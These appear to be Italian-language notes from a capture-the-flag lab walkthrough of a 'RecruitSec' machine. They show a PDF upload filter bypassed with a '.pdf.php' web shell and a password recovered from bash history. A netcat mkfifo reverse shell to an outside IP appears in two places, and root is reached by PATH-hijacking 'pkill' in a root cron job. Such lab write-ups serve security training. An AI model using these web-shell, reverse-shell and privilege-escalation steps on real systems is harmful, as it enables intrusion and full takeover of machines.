```
# nmap -sV -sC -A 10.10.58.79
PORT
       STATE SERVICE VERSION
22/tcp open ssh
                     OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol
2.0)
| ssh-hostkey:
    3072 9f:a6:01:53:92:3a:1d:ba:d7:18:18:5c:0d:8e:92:2c (RSA)
    256 4b:60:dc:fb:92:a8:6f:fc:74:53:64:c1:8c:bd:de:7c (ECDSA)
   256 83:d4:9c:d0:90:36:ce:83:f7:c7:53:30:28:df:c3:d5 (ED25519)
80/tcp open http
                     Apache httpd 2.4.41 ((Ubuntu))
| http-title: RecruitSec: Industry Leading Infosec Recruitment
http-server-header: Apache/2.4.41 (Ubuntu)
Analisi della web app
        <!-- im no security expert - thats what we have a stable of nerds for -
but isn't /cvs on the public website a privacy risk? -->
        <form action="upload.php" method="post" enctype="multipart/form-data">
                <input class="button" type="file" name="fileToUpload"</pre>
id="fileToUpload">
                <input class="button-primary" type="submit" value="Upload CV"</pre>
name="submit">
/cvs
        fold per gli upload
Analisi della pagina upload.php
        <!-- seriously, dumb stuff:
        $target dir = "cvs/";
        $target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);
        if (!strpos($target file, ".pdf")) {
                echo "Only PDF CVs are accepted.";
        } else if (file exists($target file)) {
                echo "This CV has already been uploaded!";
        } else if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"],
$target_file)) {
                echo "Success! We will get back to you.";
        } else {
                echo "Something went wrong :|";
        }
-->
per bypassare il filtro usiamo .pdf.php
Il caricamento di una nostra shell non funziona. Proviamo ad enumerare con
estensione .pdf.php
```

```
Troviamo ----> shell.pdf.php
http://10.10.58.79/cvs/shell.pdf.php?cmd=ls ok funziona
lsb release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:
               Ubuntu 20.04.4 LTS
               20.04
Release:
Codename:
               focal
user lachlan in /home
http://10.10.58.79/cvs/shell.pdf.php?cmd=cat%20/home/lachlan/user.txt
Contenuto di /home/lachlan
drwxr-xr-x 6 lachlan lachlan 4096 Aug 12 19:43 .
drwxr-xr-x 3 root
                    root
                            4096 May 5 04:38 ..
-rw-r--r-- 1 lachlan lachlan 168 May 5 04:38 .bash history
-rw-r--r-- 1 lachlan lachlan 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 lachlan lachlan 3771 Feb 25 2020 .bashrc
drwxr-xr-x 2 lachlan lachlan 4096 May 5 04:38 bin
drwx----- 2 lachlan lachlan 4096 May 5 04:39 .cache
drwx----- 3 lachlan lachlan 4096 Aug 12 19:43 .gnupg
-rw-r--r-- 1 lachlan lachlan 807 Feb 25 2020 .profile
drwx----- 3 lachlan lachlan 4096 Aug 12 19:41 snap
-rw-r--r-- 1 lachlan lachlan
                              38 May 5 04:38 user.txt
cat .bash history
        ./cve.sh
        ./cve-patch.sh
       vi /etc/cron.d/persistence
       echo -e "dHY5pzmNYoETv7SUaY\nthisistheway123\nthisistheway123" | passwd
       ls -sf /dev/null /home/lachlan/.bash_history
Analisi stringa password
        dHY5pzmNYoETv7SUaY \n thisistheway123 \n thisistheway123
old dHY5pzmNYoETv7SUaY
    thisistheway123
new
new thisistheway123
riusciamo ad entrare in ssh ma molto probabilmente esiste un task che ogni 10
secondi chiude la shell
Apriamo una reverse con netcat
GET
```

```
/cvs/shell.pdf.php?cmd=rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|sh+-i+2>%261|nc+10
.9.164.169+9000+>/tmp/f HTTP/1.1
su lachlan password: thisistheway123
find / -perm -4000 2>/dev/null
/usr/lib/snapd/snap-confine
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/bin/fusermount
/usr/bin/su
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/umount
/usr/bin/passwd
/usr/bin/pkexec
/usr/bin/sudo
/usr/bin/mount
/usr/bin/gpasswd
/usr/bin/chfn
/usr/bin/at
/snap/snapd/14978/usr/lib/snapd/snap-confine
/snap/core20/1328/usr/bin/chfn
/snap/core20/1328/usr/bin/chsh
/snap/core20/1328/usr/bin/gpasswd
/snap/core20/1328/usr/bin/mount
/snap/core20/1328/usr/bin/newgrp
/snap/core20/1328/usr/bin/passwd
/snap/core20/1328/usr/bin/su
/snap/core20/1328/usr/bin/sudo
/snap/core20/1328/usr/bin/umount
/snap/core20/1328/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core20/1328/usr/lib/openssh/ssh-keysign
# /etc/shells: valid login shells
/bin/sh
/bin/bash
/usr/bin/bash
/bin/rbash
/usr/bin/rbash
/bin/dash
/usr/bin/dash
/usr/bin/tmux
/usr/bin/screen
Analizzando il file /etc/cron.d/persistence
cat /etc/cron.d/persistence
PATH=/home/lachlan/bin:/bin:/usr/bin
# * * * * root backup.sh
```

```
* * * * * root /bin/sleep 1 && for f in `/bin/ls /dev/pts`; do /usr/bin/echo
nope > /dev/pts/$f && pkill -9 -t pts/$f; done
* * * * * root /bin/sleep 11 && for f in `/bin/ls /dev/pts`; do /usr/bin/echo
nope > /dev/pts/$f && pkill -9 -t pts/$f; done
* * * * * root /bin/sleep 21 && for f in `/bin/ls /dev/pts`; do /usr/bin/echo
nope > /dev/pts/$f && pkill -9 -t pts/$f; done
* * * * * root /bin/sleep 31 && for f in `/bin/ls /dev/pts`; do /usr/bin/echo
nope > /dev/pts/$f && pkill -9 -t pts/$f; done
* * * * * root /bin/sleep 41 && for f in `/bin/ls /dev/pts`; do /usr/bin/echo
nope > /dev/pts/$f && pkill -9 -t pts/$f; done
* * * * * root /bin/sleep 51 && for f in `/bin/ls /dev/pts`; do /usr/bin/echo
nope > /dev/pts/$f && pkill -9 -t pts/$f; done
i PATH in ordine di esecuzione sono: /home/lachlan/bin: /bin: /usr/bin
l'avvio di questo file è disattivato
-rw-r--r- 1 lachlan lachlan 56 May 5 04:38 /home/lachlan/bin/backup.sh
nei comandi sopra riportati il comando PKILL viene richiamato senza path
assoluto
creiamo con ECHO un file pkill (chmod +x) con il contenuto
#!/bin/sh
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.9.164.169 9000
>/tmp/f
393653 4 -rwxr-xr-x 1 lachlan lachlan 92 Aug 12 21:03 pkill
<----- boooommmmmmm ha funzionato
└$ nc -nvlp 9000
                     1 ×
listening on [any] 9000 ...
connect to [10.9.164.169] from (UNKNOWN) [10.10.113.116] 39944
bash: cannot set terminal process group (25802): Inappropriate ioctl for device
bash: no job control in this shell
root@b2r:~# id
uid=0(root) gid=0(root) groups=0(root)
```